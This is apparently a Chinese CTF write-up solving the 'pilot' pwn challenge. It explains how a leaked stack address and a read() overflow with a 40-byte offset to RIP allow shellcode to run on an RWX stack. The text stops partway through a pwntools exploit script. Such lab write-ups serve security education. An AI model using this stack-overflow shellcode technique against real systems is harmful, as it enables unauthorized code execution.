0x01 解题思路
-
查看文件信息并试运行
-
没有开保护,显示有RWX段。shellcode必须在具有R和X属性的内存空间上才能执行;
-
执行时输出了一个地址0x7ffd426b9ca0;
-
有用户输入点。
-
-
拖入IDA 64bits,F5查看
main
-
如图所示,红框处分别为输出地址和读取用户输入的伪代码,输出的地址应该是用户输入在栈上的地址&buf。read函数显然存在栈溢出漏洞。
-
测试一下溢出地址并计算偏移量
可以看出输出地址的确是用户输入的地址,而输入点距离RIP的偏移量是40。 -
由此可以将shellcode放在用户输入的开头,然后将RIP覆盖为程序输出的地址,这样理论上是可以执行shellcode的。初步EXP:
#!/usr/bin/python #coding:utf-8 from pwn import * context.update(arch = 'amd64', os = 'linux', timeout = 1) #context.log_level = 'debug' #io = remote('172.17.0.3', 10001) io = process('./pilot') shellcode